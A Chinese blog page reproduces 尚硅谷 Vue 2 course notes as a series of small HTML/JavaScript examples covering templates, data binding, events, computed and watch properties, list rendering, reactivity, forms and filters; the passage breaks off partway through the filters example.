分类 Vue 下的文章 - 51学代码-blog

登录

标签搜索

Jeff Dean

累计撰写 14 篇文章
累计收到 0 条评论

: 欢迎来到51学代码，一个专注于编程技术分享、知识导航、IT技术学习的网站！本站旗下导航网 nav.51xcode.com

搜索到 2 篇与的结果

2022-05-27
Vue基础此笔记来源尚硅谷张天禹老师Vue课程资料，放在这里仅供方便学习使用。课程视频连接：https://www.bilibili.com/video/BV1Zy4y1K7SH?p=1一、初识Vue<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>初识Vue</title>  <script type="text/javascript" src="../js/vue.js"></script> </head> <body>   <div id="demo"> <h1>Hello，{{name.toUpperCase()}}，{{address}}</h1> </div> <script type="text/javascript" > Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 //创建Vue实例 new Vue({ el:'#demo', //el用于指定当前Vue实例为哪个容器服务，值通常为css选择器字符串。 data:{ //data中用于存储数据，数据供el所指定的容器去使用，值我们暂时先写成一个对象。 name:'atguigu', address:'北京' } }) </script> </body> </html>二、Vue模板语法<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>模板语法</title>  <script type="text/javascript" src="../js/vue.js"></script> </head> <body>   <div id="root"> <h1>插值语法</h1> <h3>你好，{{name}}</h3> <hr/> <h1>指令语法</h1> <a v-bind:href="school.url.toUpperCase()" x="hello">点我去{{school.name}}学习1</a> <a :href="school.url" x="hello">点我去{{school.name}}学习2</a> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ name:'jack', school:{ name:'尚硅谷', url:'http://www.atguigu.com', } } }) </script> </html>三、数据绑定<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>数据绑定</title>  <script type="text/javascript" src="../js/vue.js"></script> </head> <body>   <div id="root">    单向数据绑定：<input type="text" :value="name"><br/> 双向数据绑定：<input type="text" v-model="name"><br/>   </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ name:'尚硅谷' } }) </script> </html>四、el与data的两种写法<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>el与data的两种写法</title>  <script type="text/javascript" src="../js/vue.js"></script> </head> <body>   <div id="root"> <h1>你好，{{name}}</h1> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 //el的两种写法 /* const v = new Vue({ //el:'#root', //第一种写法 data:{ name:'尚硅谷' } }) console.log(v) v.$mount('#root') //第二种写法 */ //data的两种写法 new Vue({ el:'#root', //data的第一种写法：对象式 /* data:{ name:'尚硅谷' } */ //data的第二种写法：函数式 data(){ console.log('@@@',this) //此处的this是Vue实例对象 return{ name:'尚硅谷' } } }) </script> </html>五、MVVM模型<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>理解MVVM</title>  <script type="text/javascript" src="../js/vue.js"></script> </head> <body>   <div id="root"> <h1>学校名称：{{name}}</h1> <h1>学校地址：{{address}}</h1>  </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ name:'尚硅谷', address:'北京', } }) console.log(vm) </script> </html>六、数据代理1.回顾Object.defineProperty方法<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>回顾Object.defineproperty方法</title> </head> <body> <script type="text/javascript" > let number = 18 let person = { name:'张三', sex:'男', } Object.defineProperty(person,'age',{ // value:18, // enumerable:true, //控制属性是否可以枚举，默认值是false // writable:true, //控制属性是否可以被修改，默认值是false // configurable:true //控制属性是否可以被删除，默认值是false //当有人读取person的age属性时，get函数(getter)就会被调用，且返回值就是age的值 get(){ console.log('有人读取age属性了') return number }, //当有人修改person的age属性时，set函数(setter)就会被调用，且会收到修改的具体值 set(value){ console.log('有人修改了age属性，且值是',value) number = value } }) // console.log(Object.keys(person)) console.log(person) </script> </body> </html>2.何为数据代理<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>何为数据代理</title> </head> <body>  <script type="text/javascript" > let obj = {x:100} let obj2 = {y:200} Object.defineProperty(obj2,'x',{ get(){ return obj.x }, set(value){ obj.x = value } }) </script> </body> </html>3.Vue中的数据代理<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>Vue中的数据代理</title>  <script type="text/javascript" src="../js/vue.js"></script> </head> <body>   <div id="root"> <h2>学校名称：{{name}}</h2> <h2>学校地址：{{address}}</h2> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ name:'尚硅谷', address:'宏福科技园' } }) </script> </html>七、事件处理1.事件的基本使用<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>事件的基本使用</title>  <script type="text/javascript" src="../js/vue.js"></script> </head> <body>   <div id="root"> <h2>欢迎来到{{name}}学习</h2>  <button @click="showInfo1">点我提示信息1（不传参）</button> <button @click="showInfo2($event,66)">点我提示信息2（传参）</button> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ name:'尚硅谷', }, methods:{ showInfo1(event){ // console.log(event.target.innerText) // console.log(this) //此处的this是vm alert('同学你好！') }, showInfo2(event,number){ console.log(event,number) // console.log(event.target.innerText) // console.log(this) //此处的this是vm alert('同学你好！！') } } }) </script> </html> 2.事件修饰符<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>事件修饰符</title>  <script type="text/javascript" src="../js/vue.js"></script> <style> *{ margin-top: 20px; } .demo1{ height: 50px; background-color: skyblue; } .box1{ padding: 5px; background-color: skyblue; } .box2{ padding: 5px; background-color: orange; } .list{ width: 200px; height: 200px; background-color: peru; overflow: auto; } li{ height: 100px; } </style> </head> <body>   <div id="root"> <h2>欢迎来到{{name}}学习</h2>  <a href="http://www.atguigu.com" @click.prevent="showInfo">点我提示信息</a>  <div class="demo1" @click="showInfo"> <button @click.stop="showInfo">点我提示信息</button>   </div>  <button @click.once="showInfo">点我提示信息</button>  <div class="box1" @click.capture="showMsg(1)"> div1 <div class="box2" @click="showMsg(2)"> div2 </div> </div>  <div class="demo1" @click.self="showInfo"> <button @click="showInfo">点我提示信息</button> </div>  <ul @wheel.passive="demo" class="list"> <li>1</li> <li>2</li> <li>3</li> <li>4</li> </ul> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ name:'尚硅谷' }, methods:{ showInfo(e){ alert('同学你好！') // console.log(e.target) }, showMsg(msg){ console.log(msg) }, demo(){ for (let i = 0; i < 100000; i++) { console.log('#') } console.log('累坏了') } } }) </script> </html> 3.键盘事件<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>键盘事件</title>  <script type="text/javascript" src="../js/vue.js"></script> </head> <body>   <div id="root"> <h2>欢迎来到{{name}}学习</h2> <input type="text" placeholder="按下回车提示输入" @keydown.huiche="showInfo"> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 Vue.config.keyCodes.huiche = 13 //定义了一个别名按键 new Vue({ el:'#root', data:{ name:'尚硅谷' }, methods: { showInfo(e){ // console.log(e.key,e.keyCode) console.log(e.target.value) } }, }) </script> </html> 八、计算属性1.姓名案例_插值语法实现<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>姓名案例_插值语法实现</title>  <script type="text/javascript" src="../js/vue.js"></script> </head> <body>  <div id="root"> 姓：<input type="text" v-model="firstName"> <br/><br/> 名：<input type="text" v-model="lastName"> <br/><br/> 全名：<span>{{firstName}}-{{lastName}}</span> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ firstName:'张', lastName:'三' } }) </script> </html> 2.姓名案例_methods实现<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>姓名案例_methods实现</title>  <script type="text/javascript" src="../js/vue.js"></script> </head> <body>  <div id="root"> 姓：<input type="text" v-model="firstName"> <br/><br/> 名：<input type="text" v-model="lastName"> <br/><br/> 全名：<span>{{fullName()}}</span> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ firstName:'张', lastName:'三' }, methods: { fullName(){ console.log('@---fullName') return this.firstName + '-' + this.lastName } }, }) </script> </html> 3.姓名案例_计算属性实现<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>姓名案例_计算属性实现</title>  <script type="text/javascript" src="../js/vue.js"></script> </head> <body>   <div id="root"> 姓：<input type="text" v-model="firstName"> <br/><br/> 名：<input type="text" v-model="lastName"> <br/><br/> 测试：<input type="text" v-model="x"> <br/><br/> 全名：<span>{{fullName}}</span> <br/><br/>  </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ firstName:'张', lastName:'三', x:'你好' }, methods: { demo(){ } }, computed:{ fullName:{ //get有什么作用？当有人读取fullName时，get就会被调用，且返回值就作为fullName的值 //get什么时候调用？1.初次读取fullName时。2.所依赖的数据发生变化时。 get(){ console.log('get被调用了') // console.log(this) //此处的this是vm return this.firstName + '-' + this.lastName }, //set什么时候调用? 当fullName被修改时。 set(value){ console.log('set',value) const arr = value.split('-') this.firstName = arr[0] this.lastName = arr[1] } } } }) </script> </html> 4.姓名案例_计算属性简写<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>姓名案例_计算属性实现</title>  <script type="text/javascript" src="../js/vue.js"></script> </head> <body>  <div id="root"> 姓：<input type="text" v-model="firstName"> <br/><br/> 名：<input type="text" v-model="lastName"> <br/><br/> 全名：<span>{{fullName}}</span> <br/><br/> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ firstName:'张', lastName:'三', }, computed:{ //完整写法 /* fullName:{ get(){ console.log('get被调用了') return this.firstName + '-' + this.lastName }, set(value){ console.log('set',value) const arr = value.split('-') this.firstName = arr[0] this.lastName = arr[1] } } */ //简写 fullName(){ console.log('get被调用了') return this.firstName + '-' + this.lastName } } }) </script> </html> 九、监视属性1.天气案例<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>天气案例</title>  <script type="text/javascript" src="../js/vue.js"></script> </head> <body>  <div id="root"> <h2>今天天气很{{info}}</h2>   <button @click="changeWeather">切换天气</button> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ isHot:true, }, computed:{ info(){ return this.isHot ? '炎热' : '凉爽' } }, methods: { changeWeather(){ this.isHot = !this.isHot } }, }) </script> </html> 2.天气案例_监视属性<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>天气案例_监视属性</title>  <script type="text/javascript" src="../js/vue.js"></script> </head> <body>   <div id="root"> <h2>今天天气很{{info}}</h2> <button @click="changeWeather">切换天气</button> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ isHot:true, }, computed:{ info(){ return this.isHot ? '炎热' : '凉爽' } }, methods: { changeWeather(){ this.isHot = !this.isHot } }, /* watch:{ isHot:{ immediate:true, //初始化时让handler调用一下 //handler什么时候调用？当isHot发生改变时。 handler(newValue,oldValue){ console.log('isHot被修改了',newValue,oldValue) } } } */ }) vm.$watch('isHot',{ immediate:true, //初始化时让handler调用一下 //handler什么时候调用？当isHot发生改变时。 handler(newValue,oldValue){ console.log('isHot被修改了',newValue,oldValue) } }) </script> </html> 3.天气案例_深度监视<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>天气案例_深度监视</title>  <script type="text/javascript" src="../js/vue.js"></script> </head> <body>   <div id="root"> <h2>今天天气很{{info}}</h2> <button @click="changeWeather">切换天气</button> <hr/> <h3>a的值是:{{numbers.a}}</h3> <button @click="numbers.a++">点我让a+1</button> <h3>b的值是:{{numbers.b}}</h3> <button @click="numbers.b++">点我让b+1</button> <button @click="numbers = {a:666,b:888}">彻底替换掉numbers</button> {{numbers.c.d.e}} </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ isHot:true, numbers:{ a:1, b:1, c:{ d:{ e:100 } } } }, computed:{ info(){ return this.isHot ? '炎热' : '凉爽' } }, methods: { changeWeather(){ this.isHot = !this.isHot } }, watch:{ isHot:{ // immediate:true, //初始化时让handler调用一下 //handler什么时候调用？当isHot发生改变时。 handler(newValue,oldValue){ console.log('isHot被修改了',newValue,oldValue) } }, //监视多级结构中某个属性的变化 /* 'numbers.a':{ handler(){ console.log('a被改变了') } } */ //监视多级结构中所有属性的变化 numbers:{ deep:true, handler(){ console.log('numbers改变了') } } } }) </script> </html> 4.天气案例监视属性简写<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>天气案例_监视属性_简写</title>  <script type="text/javascript" src="../js/vue.js"></script> </head> <body>  <div id="root"> <h2>今天天气很{{info}}</h2> <button @click="changeWeather">切换天气</button> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ isHot:true, }, computed:{ info(){ return this.isHot ? '炎热' : '凉爽' } }, methods: { changeWeather(){ this.isHot = !this.isHot } }, watch:{ //正常写法 /* isHot:{ // immediate:true, //初始化时让handler调用一下 // deep:true,//深度监视 handler(newValue,oldValue){ console.log('isHot被修改了',newValue,oldValue) } }, */ //简写 /* isHot(newValue,oldValue){ console.log('isHot被修改了',newValue,oldValue,this) } */ } }) //正常写法 /* vm.$watch('isHot',{ immediate:true, //初始化时让handler调用一下 deep:true,//深度监视 handler(newValue,oldValue){ console.log('isHot被修改了',newValue,oldValue) } }) */ //简写 /* vm.$watch('isHot',(newValue,oldValue)=>{ console.log('isHot被修改了',newValue,oldValue,this) }) */ </script> </html> 5.姓名案例_watch实现<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>姓名案例_watch实现</title>  <script type="text/javascript" src="../js/vue.js"></script> </head> <body>   <div id="root"> 姓：<input type="text" v-model="firstName"> <br/><br/> 名：<input type="text" v-model="lastName"> <br/><br/> 全名：<span>{{fullName}}</span> <br/><br/> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ firstName:'张', lastName:'三', fullName:'张-三' }, watch:{ firstName(val){ setTimeout(()=>{ console.log(this) this.fullName = val + '-' + this.lastName },1000); }, lastName(val){ this.fullName = this.firstName + '-' + val } } }) </script> </html> 十、绑定样式<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>绑定样式</title> <style> .basic{ width: 400px; height: 100px; border: 1px solid black; } .happy{ border: 4px solid red;; background-color: rgba(255, 255, 0, 0.644); background: linear-gradient(30deg,yellow,pink,orange,yellow); } .sad{ border: 4px dashed rgb(2, 197, 2); background-color: gray; } .normal{ background-color: skyblue; } .atguigu1{ background-color: yellowgreen; } .atguigu2{ font-size: 30px; text-shadow:2px 2px 10px red; } .atguigu3{ border-radius: 20px; } </style> <script type="text/javascript" src="../js/vue.js"></script> </head> <body>   <div id="root">  <div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br/><br/>  <div class="basic" :class="classArr">{{name}}</div> <br/><br/>  <div class="basic" :class="classObj">{{name}}</div> <br/><br/>  <div class="basic" :style="styleObj">{{name}}</div> <br/><br/>  <div class="basic" :style="styleArr">{{name}}</div> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false const vm = new Vue({ el:'#root', data:{ name:'尚硅谷', mood:'normal', classArr:['atguigu1','atguigu2','atguigu3'], classObj:{ atguigu1:false, atguigu2:false, }, styleObj:{ fontSize: '40px', color:'red', }, styleObj2:{ backgroundColor:'orange' }, styleArr:[ { fontSize: '40px', color:'blue', }, { backgroundColor:'gray' } ] }, methods: { changeMood(){ const arr = ['happy','sad','normal'] const index = Math.floor(Math.random()*3) this.mood = arr[index] } }, }) </script> </html> 十一、条件渲染<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>条件渲染</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body>   <div id="root"> <h2>当前的n值是:{{n}}</h2> <button @click="n++">点我n+1</button>          <template v-if="n === 1"> <h2>你好</h2> <h2>尚硅谷</h2> <h2>北京</h2> </template> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false const vm = new Vue({ el:'#root', data:{ name:'尚硅谷', n:0 } }) </script> </html> 十二、列表渲染1.基本列表<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>基本列表</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body>   <div id="root">  <h2>人员列表（遍历数组）</h2> <ul> <li v-for="(p,index) of persons" :key="index"> {{p.name}}-{{p.age}} </li> </ul>  <h2>汽车信息（遍历对象）</h2> <ul> <li v-for="(value,k) of car" :key="k"> {{k}}-{{value}} </li> </ul>  <h2>测试遍历字符串（用得少）</h2> <ul> <li v-for="(char,index) of str" :key="index"> {{char}}-{{index}} </li> </ul>  <h2>测试遍历指定次数（用得少）</h2> <ul> <li v-for="(number,index) of 5" :key="index"> {{index}}-{{number}} </li> </ul> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el:'#root', data:{ persons:[ {id:'001',name:'张三',age:18}, {id:'002',name:'李四',age:19}, {id:'003',name:'王五',age:20} ], car:{ name:'奥迪A8', price:'70万', color:'黑色' }, str:'hello' } }) </script> </html> 2.key的原理<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>key的原理</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body>   <div id="root">  <h2>人员列表（遍历数组）</h2> <button @click.once="add">添加一个老刘</button> <ul> <li v-for="(p,index) of persons" :key="index"> {{p.name}}-{{p.age}} <input type="text"> </li> </ul> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el:'#root', data:{ persons:[ {id:'001',name:'张三',age:18}, {id:'002',name:'李四',age:19}, {id:'003',name:'王五',age:20} ] }, methods: { add(){ const p = {id:'004',name:'老刘',age:40} this.persons.unshift(p) } }, }) </script> </html> 3.列表过滤<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>列表过滤</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body>  <div id="root"> <h2>人员列表</h2> <input type="text" placeholder="请输入名字" v-model="keyWord"> <ul> <li v-for="(p,index) of filPerons" :key="index"> {{p.name}}-{{p.age}}-{{p.sex}} </li> </ul> </div> <script type="text/javascript"> Vue.config.productionTip = false //用watch实现 //#region /* new Vue({ el:'#root', data:{ keyWord:'', persons:[ {id:'001',name:'马冬梅',age:19,sex:'女'}, {id:'002',name:'周冬雨',age:20,sex:'女'}, {id:'003',name:'周杰伦',age:21,sex:'男'}, {id:'004',name:'温兆伦',age:22,sex:'男'} ], filPerons:[] }, watch:{ keyWord:{ immediate:true, handler(val){ this.filPerons = this.persons.filter((p)=>{ return p.name.indexOf(val) !== -1 }) } } } }) */ //#endregion //用computed实现 new Vue({ el:'#root', data:{ keyWord:'', persons:[ {id:'001',name:'马冬梅',age:19,sex:'女'}, {id:'002',name:'周冬雨',age:20,sex:'女'}, {id:'003',name:'周杰伦',age:21,sex:'男'}, {id:'004',name:'温兆伦',age:22,sex:'男'} ] }, computed:{ filPerons(){ return this.persons.filter((p)=>{ return p.name.indexOf(this.keyWord) !== -1 }) } } }) </script> </html> 4.列表排序<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>列表排序</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body>  <div id="root"> <h2>人员列表</h2> <input type="text" placeholder="请输入名字" v-model="keyWord"> <button @click="sortType = 2">年龄升序</button> <button @click="sortType = 1">年龄降序</button> <button @click="sortType = 0">原顺序</button> <ul> <li v-for="(p,index) of filPerons" :key="p.id"> {{p.name}}-{{p.age}}-{{p.sex}} <input type="text"> </li> </ul> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el:'#root', data:{ keyWord:'', sortType:0, //0原顺序 1降序 2升序 persons:[ {id:'001',name:'马冬梅',age:30,sex:'女'}, {id:'002',name:'周冬雨',age:31,sex:'女'}, {id:'003',name:'周杰伦',age:18,sex:'男'}, {id:'004',name:'温兆伦',age:19,sex:'男'} ] }, computed:{ filPerons(){ const arr = this.persons.filter((p)=>{ return p.name.indexOf(this.keyWord) !== -1 }) //判断一下是否需要排序 if(this.sortType){ arr.sort((p1,p2)=>{ return this.sortType === 1 ? p2.age-p1.age : p1.age-p2.age }) } return arr } } }) </script> </html> 5.更新时的一个问题<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>更新时的一个问题</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body>  <div id="root"> <h2>人员列表</h2> <button @click="updateMei">更新马冬梅的信息</button> <ul> <li v-for="(p,index) of persons" :key="p.id"> {{p.name}}-{{p.age}}-{{p.sex}} </li> </ul> </div> <script type="text/javascript"> Vue.config.productionTip = false const vm = new Vue({ el:'#root', data:{ persons:[ {id:'001',name:'马冬梅',age:30,sex:'女'}, {id:'002',name:'周冬雨',age:31,sex:'女'}, {id:'003',name:'周杰伦',age:18,sex:'男'}, {id:'004',name:'温兆伦',age:19,sex:'男'} ] }, methods: { updateMei(){ // this.persons[0].name = '马老师' //奏效 // this.persons[0].age = 50 //奏效 // this.persons[0].sex = '男' //奏效 // this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'} //不奏效 this.persons.splice(0,1,{id:'001',name:'马老师',age:50,sex:'男'}) } } }) </script> </html> 6.Vue监测数据改变的原理_对象<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>Vue监测数据改变的原理</title>  <script type="text/javascript" src="../js/vue.js"></script> </head> <body>  <div id="root"> <h2>学校名称：{{name}}</h2> <h2>学校地址：{{address}}</h2> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ name:'尚硅谷', address:'北京', student:{ name:'tom', age:{ rAge:40, sAge:29, }, friends:[ {name:'jerry',age:35} ] } } }) </script> </html> 7.模拟一个数据监测<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>Document</title> </head> <body> <script type="text/javascript" > let data = { name:'尚硅谷', address:'北京', } //创建一个监视的实例对象，用于监视data中属性的变化 const obs = new Observer(data) console.log(obs) //准备一个vm实例对象 let vm = {} vm._data = data = obs function Observer(obj){ //汇总对象中所有的属性形成一个数组 const keys = Object.keys(obj) //遍历 keys.forEach((k)=>{ Object.defineProperty(this,k,{ get(){ return obj[k] }, set(val){ console.log(`${k}被改了，我要去解析模板，生成虚拟DOM.....我要开始忙了`) obj[k] = val } }) }) } </script> </body> </html> 8.Vue.set的使用<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>Vue监测数据改变的原理</title>  <script type="text/javascript" src="../js/vue.js"></script> </head> <body>  <div id="root"> <h1>学校信息</h1> <h2>学校名称：{{school.name}}</h2> <h2>学校地址：{{school.address}}</h2> <h2>校长是：{{school.leader}}</h2> <hr/> <h1>学生信息</h1> <button @click="addSex">添加一个性别属性，默认值是男</button> <h2>姓名：{{student.name}}</h2> <h2 v-if="student.sex">性别：{{student.sex}}</h2> <h2>年龄：真实{{student.age.rAge}}，对外{{student.age.sAge}}</h2> <h2>朋友们</h2> <ul> <li v-for="(f,index) in student.friends" :key="index"> {{f.name}}--{{f.age}} </li> </ul> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ school:{ name:'尚硅谷', address:'北京', }, student:{ name:'tom', age:{ rAge:40, sAge:29, }, friends:[ {name:'jerry',age:35}, {name:'tony',age:36} ] } }, methods: { addSex(){ // Vue.set(this.student,'sex','男') this.$set(this.student,'sex','男') } } }) </script> </html> 9.Vue监测数据改变的原理_数组<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>Vue监测数据改变的原理_数组</title>  <script type="text/javascript" src="../js/vue.js"></script> </head> <body>  <div id="root"> <h1>学校信息</h1> <h2>学校名称：{{school.name}}</h2> <h2>学校地址：{{school.address}}</h2> <h2>校长是：{{school.leader}}</h2> <hr/> <h1>学生信息</h1> <button @click="addSex">添加一个性别属性，默认值是男</button> <h2>姓名：{{student.name}}</h2> <h2 v-if="student.sex">性别：{{student.sex}}</h2> <h2>年龄：真实{{student.age.rAge}}，对外{{student.age.sAge}}</h2> <h2>爱好</h2> <ul> <li v-for="(h,index) in student.hobby" :key="index"> {{h}} </li> </ul> <h2>朋友们</h2> <ul> <li v-for="(f,index) in student.friends" :key="index"> {{f.name}}--{{f.age}} </li> </ul> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ school:{ name:'尚硅谷', address:'北京', }, student:{ name:'tom', age:{ rAge:40, sAge:29, }, hobby:['抽烟','喝酒','烫头'], friends:[ {name:'jerry',age:35}, {name:'tony',age:36} ] } }, methods: { addSex(){ // Vue.set(this.student,'sex','男') this.$set(this.student,'sex','男') } } }) </script> </html> 10.总结Vue数据监测<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>总结数据监视</title> <style> button{ margin-top: 10px; } </style>  <script type="text/javascript" src="../js/vue.js"></script> </head> <body>   <div id="root"> <h1>学生信息</h1> <button @click="student.age++">年龄+1岁</button> <br/> <button @click="addSex">添加性别属性，默认值：男</button> <br/> <button @click="student.sex = '未知' ">修改性别</button> <br/> <button @click="addFriend">在列表首位添加一个朋友</button> <br/> <button @click="updateFirstFriendName">修改第一个朋友的名字为：张三</button> <br/> <button @click="addHobby">添加一个爱好</button> <br/> <button @click="updateHobby">修改第一个爱好为：开车</button> <br/> <button @click="removeSmoke">过滤掉爱好中的抽烟</button> <br/> <h3>姓名：{{student.name}}</h3> <h3>年龄：{{student.age}}</h3> <h3 v-if="student.sex">性别：{{student.sex}}</h3> <h3>爱好：</h3> <ul> <li v-for="(h,index) in student.hobby" :key="index"> {{h}} </li> </ul> <h3>朋友们：</h3> <ul> <li v-for="(f,index) in student.friends" :key="index"> {{f.name}}--{{f.age}} </li> </ul> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ student:{ name:'tom', age:18, hobby:['抽烟','喝酒','烫头'], friends:[ {name:'jerry',age:35}, {name:'tony',age:36} ] } }, methods: { addSex(){ // Vue.set(this.student,'sex','男') this.$set(this.student,'sex','男') }, addFriend(){ this.student.friends.unshift({name:'jack',age:70}) }, updateFirstFriendName(){ this.student.friends[0].name = '张三' }, addHobby(){ this.student.hobby.push('学习') }, updateHobby(){ // this.student.hobby.splice(0,1,'开车') // Vue.set(this.student.hobby,0,'开车') this.$set(this.student.hobby,0,'开车') }, removeSmoke(){ this.student.hobby = this.student.hobby.filter((h)=>{ return h !== '抽烟' }) } } }) </script> </html> 十三、收集表单数据<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>收集表单数据</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body>   <div id="root"> <form @submit.prevent="demo"> 账号：<input type="text" v-model.trim="userInfo.account"> <br/><br/> 密码：<input type="password" v-model="userInfo.password"> <br/><br/> 年龄：<input type="number" v-model.number="userInfo.age"> <br/><br/> 性别：男<input type="radio" name="sex" v-model="userInfo.sex" value="male"> 女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/> 爱好：学习<input type="checkbox" v-model="userInfo.hobby" value="study"> 打游戏<input type="checkbox" v-model="userInfo.hobby" value="game"> 吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat"> <br/><br/> 所属校区 <select v-model="userInfo.city"> <option value="">请选择校区</option> <option value="beijing">北京</option> <option value="shanghai">上海</option> <option value="shenzhen">深圳</option> <option value="wuhan">武汉</option> </select> <br/><br/> 其他信息： <textarea v-model.lazy="userInfo.other"></textarea> <br/><br/> <input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a> <button>提交</button> </form> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el:'#root', data:{ userInfo:{ account:'', password:'', age:18, sex:'female', hobby:[], city:'beijing', other:'', agree:'' } }, methods: { demo(){ console.log(JSON.stringify(this.userInfo)) } } }) </script> </html> 十四、过滤器<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>过滤器</title> <script type="text/javascript" src="../js/vue.js"></script> <script type="text/javascript" src="../js/dayjs.min.js"></script> </head> <body>   <div id="root"> <h2>显示格式化后的时间</h2>  <h3>现在是：{{fmtTime}}</h3>  <h3>现在是：{{getFmtTime()}}</h3>  <h3>现在是：{{time | timeFormater}}</h3>  <h3>现在是：{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3> <h3 :x="msg | mySlice">尚硅谷</h3> </div> <div id="root2"> <h2>{{msg | mySlice}}</h2> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //全局过滤器 Vue.filter('mySlice',function(value){ return value.slice(0,4) }) new Vue({ el:'#root', data:{ time:1621561377603, //时间戳 msg:'你好，尚硅谷' }, computed: { fmtTime(){ return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss') } }, methods: { getFmtTime(){ return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss') } }, //局部过滤器 filters:{ timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){ // console.log('@',value) return dayjs(value).format(str) } } }) new Vue({ el:'#root2', 